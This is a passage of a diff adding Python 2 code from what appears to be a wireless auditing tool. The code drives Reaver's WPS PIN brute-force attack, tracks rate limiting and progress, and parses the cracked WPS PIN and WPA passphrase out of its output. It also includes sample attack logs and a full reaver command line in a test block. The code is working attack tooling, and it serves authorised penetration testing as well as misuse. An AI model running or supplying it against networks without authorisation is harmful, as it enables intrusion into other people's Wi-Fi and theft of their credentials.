pins.add(pin) + pin_current += 1 + + # Failures + if 'WPS transaction failed' in out: + failures += out.count('WPS transaction failed') + elif 'Receive timeout occurred' in out: + # Reaver 1.4 + failures += out.count('Receive timeout occurred') + + # Status + if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' + if 'Starting Cracking Session' in out: state = '{C}cracking{W}' + # Reaver 1.4 + if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' + + if 'Detected AP rate limiting' in out: + state = '{R}rate-limited{W}' + if Configuration.wps_skip_rate_limit: + Color.pl(state) + Color.pl('{!} {R}hit rate limit, stopping{W}') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + + if 'WARNING: Failed to associate with' in out: + # TODO: Fail after X association failures (instead of just one) + Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') + break + + match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + + match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + pins_left = int(match.groups()[1]) + + # Divine pin_current & pin_total from this: + pin_current = 11000 - pins_left + + # Check if process is still running + if reaver.pid.poll() != None: + Color.pl('{R}failed{W}') + Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') + self.success = False + break + + # Output the current state + Color.p(state) + + ''' + [+] Waiting for beacon from AA:BB:CC:DD:EE:FF + [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) + [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 + [+] Trying pin 12345670. + [+] Pin count advanced: 46. Max pin attempts: 11000 + [!] WPS transaction failed (code: 0x02), re-trying last pin + [!] WPS transaction failed (code: 0x03), re-trying last pin + [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) + [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking + [!] WARNING: 25 successive start failures + [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) + [+] 0.55% complete. Elapsed time: 0d0h2m21s. + [+] Estimated Remaining time: 0d15h11m35s + + [+] Pin cracked in 7 seconds + [+] WPS PIN: '12345678' + [+] WPA PSK: 'abcdefgh' + [+] AP SSID: 'Test Router' + + Reaver 1.4: + [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) + [!] WARNING: Receive timeout occurred + + ''' + + reaver.interrupt() + + return self.success + + + @staticmethod + def get_pin_psk_ssid(stdout): + ''' Parses WPS PIN, PSK, and SSID from output ''' + pin = psk = ssid = None + + # Check for PIN. + # PIN: Printed *before* the attack completes. + regex = re.search('WPS pin: *([0-9]*)', stdout) + if regex: + pin = regex.groups()[0] + # PIN: Printed when attack is completed. + regex = re.search("WPS PIN: *'([0-9]+)'", stdout) + if regex: + pin = regex.groups()[0] + + # Check for PSK. + regex = re.search("WPA PSK: *'(.+)'", stdout) + if regex: + psk = regex.groups()[0] + + # Check for SSID + regex = re.search("AP SSID: *'(.+)'", stdout) + if regex: + ssid = regex.groups()[0] + + return (pin, psk, ssid) + + def get_stdout(self): + ''' Gets output from stdout_file ''' + if not self.stdout_file: + return '' + f = open(self.stdout_file, 'r') + stdout = f.read() + f.close() + return stdout.strip() + + +if __name__ == '__main__': + stdout = ''' +[Pixie-Dust] +[Pixie-Dust] Pixiewps 1.1 +[Pixie-Dust] +[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 +[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 +[Pixie-Dust] [+] WPS pin: 12345678 +[Pixie-Dust] +[Pixie-Dust] [*] Time taken: 0 s +[Pixie-Dust] +Running reaver with the correct pin, wait ... +Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 + +[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF +[Reaver Test] Channel: 11 +[Reaver Test] [+] WPS PIN: '12345678' +[Reaver Test] [+] WPA PSK: 'Test PSK' +[Reaver Test] [+] AP SSID: 'Test Router' + ''' + print Reaver.get_pin_psk_ssid(stdout) + pass +